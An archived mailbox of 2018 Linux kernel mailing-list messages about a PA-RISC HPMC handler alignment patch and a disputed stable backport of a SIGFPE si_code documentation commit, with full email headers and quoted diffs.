> >   os_hpmc_size:
> > -	.word .os_hpmc_end-.os_hpmc
> > +	/* .word .os_hpmc_end-.os_hpmc */
> > +	.word (.os_hpmc_end - .os_hpmc) * 4 /* sizeof(u32) */
> > 
> > This one seems wrong.
> > I think you just didn't hit a HPMC with your first patch, and as such
> > this patch has no influence...

> Helge, did you check that os_hpmc is correctly entered after you added
> the ".align 4" statement (e.g., trigger hpmc by accessing page 0 or
> such)? I looked at one of my builds and the size is correct as is.
> Is it possible that the length needs to be a multiple of 16? Current
> length is 0x194.

Good point. I changed that in the patch below.

> There are a couple of minor issues with assembly code. There are no .type
> and .size directives for os_hpmc_size.

Fixed as well.

> I think we should investigate further as I have never seen hpmc
> handler entered on rp3440 or c8000.  On rp3440, there are messages
> about the branch failing in the SL log. However, this might have been
> fixed by your alignment fix.

No, the problem still exists in existing code.

Below patch is build-tested only.


[PATCH] Fix HPMC handler by increasing size to multiple of 16 bytes

Make sure that the HPMC handler is 16-byte aligned and that it's length
in the IVT is a multiple of 16 bytes. Otherwise PDC may decide not
to jump to HPMC handler.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 8d072c44f300..f09f54f8042e 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -84,6 +84,7 @@ END(hpmc_pim_data)
 	.text
 
 	.import intr_save, code
+	.align 16
 ENTRY_CFI(os_hpmc)
 .os_hpmc:
 
@@ -305,7 +306,9 @@ ENDPROC_CFI(os_hpmc)
 
 
 	__INITRODATA
+.globl os_hpmc_size
 	.align 4
-	.export os_hpmc_size
+	.type   os_hpmc_size, @object
+	.size   os_hpmc_size, 4
 os_hpmc_size:
 	.word .os_hpmc_end-.os_hpmc
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index c919e6c0a687..ca6e8722fffb 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -837,8 +837,8 @@ void __init initialize_ivt(const void *iva)
 		ivap[0] = instr;
 
 	/* Compute Checksum for HPMC handler */
-	length = os_hpmc_size;
-	ivap[7] = length;
+	length = ALIGN(os_hpmc_size, 16);
+	ivap[7] = length; /* length needs to be multiple of 16. */
 
 	hpmcp = (u32 *)os_hpmc;
 



From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH] Fix HPMC handler by increasing size to multiple of
 16 bytes
Date: Mon, 19 Mar 2018 18:58:35 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <a189ed45-af4b-e6cc-db2c-ce50fa706c72@bell.net>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box>
 <81f118a7-5bc5-c6b2-eb10-a9c683c72a26@bell.net>
 <20180319222353.GA28132@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521500211 28144 195.159.176.226 (19 Mar 2018 22:56:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 22:56:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 23:56:47 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey3hu-0007Fw-KI
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 23:56:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id DA7F3E6; Mon, 19 Mar 2018 22:58:53 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 22:58:53 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 4F191120
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 22:58:45 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.589 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id e-zhPNEBJjxp for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 22:58:40 +0000 (UTC)
Original-Received: from torfep01.bell.net (simcoe207srvr.owm.bell.net [184.150.200.207])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id B382CBC
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 22:58:39 +0000 (UTC)
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180319225836.XFQB3030.torfep01.bell.net@torspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Mon, 19 Mar 2018 18:58:36 -0400
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by torspm01.bell.net
          with ESMTP
          id <20180319225836.DGPH26298.torspm01.bell.net@[192.168.2.49]>;
          Mon, 19 Mar 2018 18:58:36 -0400
In-Reply-To: <20180319222353.GA28132@ls3530.fritz.box>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=Q9fys5e9bTEA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=QhQH7FcHXJlIkWBvRRMA:9 a=qXdVumJ2aYEkWxzK:21 a=yWYTS_UQlz_fLBzI:21 a=PUjeQqilurYA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <cM_ZlRJcRCL.A.-lC.tCEsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8688
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/a189ed45-af4b-e6cc-db2c-ce50fa706c72@bell.net
Resent-Date: Mon, 19 Mar 2018 22:58:53 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7704 gmane.linux.ports.parisc:28352
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7704>

On 2018-03-19 6:23 PM, Helge Deller wrote:
> -	length = os_hpmc_size;
> -	ivap[7] = length;
> +	length = ALIGN(os_hpmc_size, 16);
> +	ivap[7] = length; /* length needs to be multiple of 16. */
If this is true, should we not add three nops to the end of os_hpmc so 
it has a length which is a multiple of 16?

Dave


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Tue, 20 Mar 2018 10:20:21 -0500
Lines: 89
Approved: news@gmane.org
Message-ID: <87zi327ozu.fsf@xmission.com>
References: <20180319154645.11350-1-alexander.levin@microsoft.com>
        <20180319154645.11350-118-alexander.levin@microsoft.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1521559161 18783 195.159.176.226 (20 Mar 2018 15:19:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2018 15:19:21 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux)
Cc: "linux-kernel\@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable\@vger.kernel.org" <stable@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc\@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Sasha Levin <Alexander.Levin@microsoft.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 20 16:19:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eyJ2i-0004kz-Eg
	for glk-linux-kernel-4@m.gmane.org; Tue, 20 Mar 2018 16:19:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751840AbeCTPVV (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 20 Mar 2018 11:21:21 -0400
Original-Received: from out02.mta.xmission.com ([166.70.13.232]:51156 "EHLO
        out02.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751186AbeCTPVR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 20 Mar 2018 11:21:17 -0400
Original-Received: from in01.mta.xmission.com ([166.70.13.51])
        by out02.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eyJ4d-00020l-RS; Tue, 20 Mar 2018 09:21:15 -0600
Original-Received: from 97-119-121-173.omah.qwest.net ([97.119.121.173] helo=x220.xmission.com)
        by in01.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eyJ4c-0003n4-U1; Tue, 20 Mar 2018 09:21:15 -0600
In-Reply-To: <20180319154645.11350-118-alexander.levin@microsoft.com> (Sasha
        Levin's message of "Mon, 19 Mar 2018 15:49:14 +0000")
X-XM-SPF: eid=1eyJ4c-0003n4-U1;;;mid=<87zi327ozu.fsf@xmission.com>;;;hst=in01.mta.xmission.com;;;ip=97.119.121.173;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX1/K36541h1GfHwcUPLQjbvz4xJX3IZw/sw=
X-SA-Exim-Connect-IP: 97.119.121.173
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  0.7 XMSubLong Long Subject
        *  2.5 XMWhlSbjSex Whole Obfuscated Subjects
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa05 1397; Body=1 Fuz1=1 Fuz2=1]
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
        *  0.0 T_TooManySym_02 5+ unique symbols in subject
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
X-Spam-DCC: XMission; sa05 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ****;Sasha Levin <Alexander.Levin@microsoft.com>
X-Spam-Relay-Country: 
X-Spam-Timing: total 494 ms - load_scoreonly_sql: 0.05 (0.0%),
        signal_user_changed: 7 (1.5%), b_tie_ro: 6 (1.2%), parse: 1.28 (0.3%),
        extract_message_metadata: 26 (5.3%), get_uri_detail_list: 4.7 (1.0%),
        tests_pri_-1000: 14 (2.9%), tests_pri_-950: 1.40 (0.3%), tests_pri_-900: 1.12
        (0.2%), tests_pri_-400: 30 (6.2%), check_bayes: 29 (5.9%), b_tokenize: 11
        (2.3%), b_tok_get_all: 9 (1.8%), b_comp_prob: 3.2 (0.6%), b_tok_touch_all:
        3.7 (0.7%), b_finish: 0.58 (0.1%), tests_pri_0: 223 (45.2%),
        check_dkim_signature: 0.55 (0.1%), check_dkim_adsp: 3.3 (0.7%),
        tests_pri_500: 185 (37.4%), poll_dns_idle: 175 (35.5%), rewrite_mail: 0.00
        (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in01.mta.xmission.com)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2720644 gmane.linux.kernel.stable:272090 gmane.linux.ports.parisc:28353
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2720644>

Sasha Levin <Alexander.Levin@microsoft.com> writes:

What is the justification for backporting this and the other similar
Documentation commits?

These commits just introduce a define _FIXME with value of 0, to
document that the userspace ABI was handled incorrectly long ago.

These commits do not fix anything.  Thes commits do not change anything
except a little how they are handled in siginfo_layout.  And I don't see
the changes that introduce siginfo_layout in kernel/signal.c being
backported.

Further these commits don't even have a fixes tag so I am curious
what is triggering them for backport.

Eric

> From: "Eric W. Biederman" <ebiederm@xmission.com>
>
> [ Upstream commit b5daf2b9d1c9a2b4f03ca93f75913ba2da3b3eaa ]
>
> Setting si_code to 0 results in a userspace seeing an si_code of 0.
> This is the same si_code as SI_USER.  Posix and common sense requires
> that SI_USER not be a signal specific si_code.  As such this use of 0
> for the si_code is a pretty horribly broken ABI.
>
> Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
> value of __SI_KILL and now sees a value of SIL_KILL with the result
> that uid and pid fields are copied and which might copying the si_addr
> field by accident but certainly not by design.  Making this a very
> flakey implementation.
>
> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
> appropriate fields will reliably be copied.
>
> This bug is 13 years old and parsic machines are no longer being built
> so I don't know if it possible or worth fixing it.  But it is at least
> worth documenting this so other architectures don't make the same
> mistake.
>
> Possible ABI fixes includee:
>   - Send the signal without siginfo
>   - Don't generate a signal
>   - Possibly assign and use an appropriate si_code
>   - Don't handle cases which can't happen
>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
> Histroy Tree: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.git
> Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
> Signed-off-by: Sasha Levin <alexander.levin@microsoft.com>
> ---
>  arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
>  arch/parisc/kernel/traps.c             | 2 +-
>  2 files changed, 8 insertions(+), 1 deletion(-)
>
> diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h
> index 4a1062e05aaf..be40331f757d 100644
> --- a/arch/parisc/include/uapi/asm/siginfo.h
> +++ b/arch/parisc/include/uapi/asm/siginfo.h
> @@ -8,4 +8,11 @@
>  
>  #include <asm-generic/siginfo.h>
>  
> +/*
> + * SIGFPE si_codes
> + */
> +#ifdef __KERNEL__
> +#define FPE_FIXME	0	/* Broken dup of SI_USER */
> +#endif /* __KERNEL__ */
> +
>  #endif
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 8453724b8009..c919e6c0a687 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -629,7 +629,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
>  			si.si_signo = SIGFPE;
>  			/* Set to zero, and let the userspace app figure it out from
>  			   the insn pointed to by si_addr */
> -			si.si_code = 0;
> +			si.si_code = FPE_FIXME;
>  			si.si_addr = (void __user *) regs->iaoq[0];
>  			force_sig_info(SIGFPE, &si, current);
>  			return;


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sasha Levin <Alexander.Levin@microsoft.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Date: Wed, 21 Mar 2018 18:18:44 +0000
Lines: 114
Approved: news@gmane.org
Message-ID: <20180321181842.rhniantbvz25bu2f@sasha-lappy>
References: <20180319154645.11350-1-alexander.levin@microsoft.com>
 <20180319154645.11350-118-alexander.levin@microsoft.com>
 <87zi327ozu.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521656211 6908 195.159.176.226 (21 Mar 2018 18:16:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Mar 2018 18:16:51 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable@vger.kernel.org" <stable@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "Eric W. Biederman" <ebiederm@xmission.com>
Original-X-From: stable-owner@vger.kernel.org Wed Mar 21 19:16:47 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1eyiI2-0006Nx-PJ
	for glks-stable4@m.gmane.org; Wed, 21 Mar 2018 19:16:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751656AbeCUSSx (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Wed, 21 Mar 2018 14:18:53 -0400
Original-Received: from mail-by2nam01on0120.outbound.protection.outlook.com ([104.47.34.120]:59985
        "EHLO NAM01-BY2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751416AbeCUSSw (ORCPT <rfc822;stable@vger.kernel.org>);
        Wed, 21 Mar 2018 14:18:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=JGLv1Yol7DXzwB5N5yyfq8+GIYxjokbg48ftt1RJkqk=;
 b=Ca1ciVLPA3qP2yg33PIQrDUqFPUHxoas6uYOenZ9CTUV2v99DimjYvdr0+FlYXpzP6OqAr4sbxz5kbW0FSiYfU61uZj6iUaSZbZyLAqlidBfqBDulSKm4zKc/xJ3qM2X5HgtawaOJk+yH1wbxrrbIyJ9JDAqM0l5ZfKDnMApYrk=
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com (52.132.128.13) by
 DM5PR2101MB1045.namprd21.prod.outlook.com (52.132.128.14) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.631.0; Wed, 21 Mar 2018 18:18:45 +0000
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62]) by DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62%5]) with mapi id 15.20.0631.004; Wed, 21 Mar 2018
 18:18:45 +0000
Thread-Topic: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Thread-Index: AQHTv5nU1jM4TEEmbE2qukzwpEcuiqPZPv1OgAHD5AA=
In-Reply-To: <87zi327ozu.fsf@xmission.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [52.168.54.252]
x-ms-publictraffictype: Email
x-microsoft-exchange-diagnostics: 1;DM5PR2101MB1045;7:XIQSk12pDr2YqTIYfCx6jK8x1vBaF/i5/LSv9bEZmqp1kpNIAKGKN1W1LKPwksuzyhRhRvcxlMjb19MLQrTDaRy4O7LAov90PVhGMusWSwgt47JYKuHxKClBCIfNrfMgjNLxmCpxU7NuUI1oN4IsF03g5yvOe+7YcPQyEG+dWzR3pcRfe7RZd2QOqSRZWG3VayIWidgV5iFlPQvLv/8R5Ome+lxz7+YhgrLFfs10fQS/OS8qfhz8n0W4UhiYM61d;20:AA5stM1H5dJ2wUSsYdF4g4PEVfbEn9RjYCgmiywmzTlu4KIRGzVzhCH98sELJM4ea2INklchYtqA5/3fpxwho4//9NZp1RS+6qpbueIVX8I51vp3T6n3aDiSG0d7xDUNK9PpFUmU47zGSm+NgIn4CqbJ+BAfdXsc1fRQ86Trvj4=
x-ms-exchange-antispam-srfa-diagnostics: SOS;
x-ms-office365-filtering-ht: Tenant
x-ms-office365-filtering-correlation-id: a5a7cbd8-2ed9-480f-a27f-08d58f582efb
x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652020)(48565401081)(5600026)(4604075)(3008032)(4534165)(4627221)(201703031133081)(201702281549075)(2017052603328)(7193020);SRVR:DM5PR2101MB1045;
x-ms-traffictypediagnostic: DM5PR2101MB1045:
authentication-results: spf=none (sender IP is )
 smtp.mailfrom=Alexander.Levin@microsoft.com; 
x-microsoft-antispam-prvs: <DM5PR2101MB1045C109B0F11BDBC008E6B8FBAA0@DM5PR2101MB1045.namprd21.prod.outlook.com>
x-exchange-antispam-report-test: UriScan:(28532068793085)(26323138287068)(89211679590171)(9452136761055)(189930954265078)(219752817060721);
x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(8211001083)(61425038)(6040522)(2401047)(5005006)(8121501046)(93006095)(93001095)(10201501046)(3002001)(3231221)(944501316)(52105095)(6055026)(61426038)(61427038)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123562045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:DM5PR2101MB1045;BCL:0;PCL:0;RULEID:;SRVR:DM5PR2101MB1045;
x-forefront-prvs: 0618E4E7E1
x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(7916004)(346002)(376002)(396003)(39380400002)(39860400002)(366004)(199004)(189003)(186003)(966005)(3280700002)(33896004)(1076002)(22452003)(3846002)(105586002)(68736007)(478600001)(6116002)(5250100002)(8936002)(54906003)(72206003)(76176011)(2906002)(26005)(53936002)(106356001)(2950100002)(446003)(14454004)(6246003)(229853002)(6306002)(6512007)(9686003)(6486002)(8666007)(6916009)(316002)(6436002)(5660300001)(86612001)(102836004)(25786009)(3660700001)(305945005)(4326008)(7736002)(59450400001)(10090500001)(86362001)(575784001)(2900100001)(66066001)(10290500003)(81166006)(97736004)(33716001)(6506007)(81156014)(99286004)(8676002)(217873001);DIR:OUT;SFP:1102;SCL:1;SRVR:DM5PR2101MB1045;H:DM5PR2101MB1032.namprd21.prod.outlook.com;FPR:;SPF:None;L
 ANG:en;PTR:InfoNoRecords;A:1;MX:1;
received-spf: None (protection.outlook.com: microsoft.com does not designate
 permitted sender hosts)
x-microsoft-antispam-message-info: Tr5rKqbW6RF4NqhBKHcsJPA2z8xREZ1Z5BrIeORcQga2stoEKGPPn3CS58TfDpiwCaypnYwdLXPZK8RmdsaG/pkq7/eoiZJNvl0QQKFXSCbatJ3oLbUO80c+EdvmhRdzA7X7sXluUZ+c8JXz2IiWjWlp85WTukdUO0aaf+ASgcko9sloE4muOa3g3JdzglTDpVh6DkjwKVdR+T6r3G/K/qoLVhWPpBeMkmzNPEyperaeWrvD7QuqHuVcS9hbgRb7RlvarvPwrHOG2nyJDvaHCAPMjcIPhvkhTi62t/EXEGsN11vgxj7g2M4MDr2dT+hxl8AgW6qIEYRXgtRqu6ai3Q==
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: NSPM
Content-ID: <2B86442F7E408B4AA4501FE7BD9C8E56@namprd21.prod.outlook.com>
X-OriginatorOrg: microsoft.com
X-MS-Exchange-CrossTenant-Network-Message-Id: a5a7cbd8-2ed9-480f-a27f-08d58f582efb
X-MS-Exchange-CrossTenant-originalarrivaltime: 21 Mar 2018 18:18:44.9099
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 72f988bf-86f1-41af-91ab-2d7cd011db47
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM5PR2101MB1045
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:272187 gmane.linux.kernel:2721761 gmane.linux.ports.parisc:28354
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/272187>

Hey Eric,

On Tue, Mar 20, 2018 at 10:20:21AM -0500, Eric W. Biederman wrote:
>Sasha Levin <Alexander.Levin@microsoft.com> writes:
>
>What is the justification for backporting this and the other similar
>Documentation commits?

It was flagged as a bug fixing patch by a new process we're testing, and
when I looked at it I thought that the commit message suggests it fixes
an ABI issue.

>These commits just introduce a define _FIXME with value of 0, to
>document that the userspace ABI was handled incorrectly long ago.
>
>These commits do not fix anything.  Thes commits do not change anything
>except a little how they are handled in siginfo_layout.  And I don't see
>the changes that introduce siginfo_layout in kernel/signal.c being
>backported.
>
>Further these commits don't even have a fixes tag so I am curious
>what is triggering them for backport.

We're testing out a new mechanism where we train a neural network to
detect bug fixing patches and flag them for manual review. We're working
on a FAQ + more detailed information right now.

>Eric
>
>> From: "Eric W. Biederman" <ebiederm@xmission.com>
>>
>> [ Upstream commit b5daf2b9d1c9a2b4f03ca93f75913ba2da3b3eaa ]
>>
>> Setting si_code to 0 results in a userspace seeing an si_code of 0.
>> This is the same si_code as SI_USER.  Posix and common sense requires
>> that SI_USER not be a signal specific si_code.  As such this use of 0
>> for the si_code is a pretty horribly broken ABI.
>>
>> Further use of si_code =3D=3D 0 guaranteed that copy_siginfo_to_user saw=
 a
>> value of __SI_KILL and now sees a value of SIL_KILL with the result
>> that uid and pid fields are copied and which might copying the si_addr
>> field by accident but certainly not by design.  Making this a very
>> flakey implementation.
>>
>> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
>> appropriate fields will reliably be copied.
>>
>> This bug is 13 years old and parsic machines are no longer being built
>> so I don't know if it possible or worth fixing it.  But it is at least
>> worth documenting this so other architectures don't make the same
>> mistake.
>>
>> Possible ABI fixes includee:
>>   - Send the signal without siginfo
>>   - Don't generate a signal
>>   - Possibly assign and use an appropriate si_code
>>   - Don't handle cases which can't happen
>>
>> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> Cc: Helge Deller <deller@gmx.de>
>> Cc: linux-parisc@vger.kernel.org
>> Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
>> Histroy Tree: https://na01.safelinks.protection.outlook.com/?url=3Dhttps=
%3A%2F%2Fgit.kernel.org%2Fpub%2Fscm%2Flinux%2Fkernel%2Fgit%2Ftglx%2Fhistory=
.git&data=3D04%7C01%7CAlexander.Levin%40microsoft.com%7C3dfe7dd42625456fdb0=
f08d58e7639e6%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C1%7C6365715607897505=
33%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1h=
aWwifQ%3D%3D%7C-1&sdata=3DlXlraRxI0IHdS736PA%2BLO8A4JQJveGitz1pPfpo7QKM%3D&=
reserved=3D0
>> Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
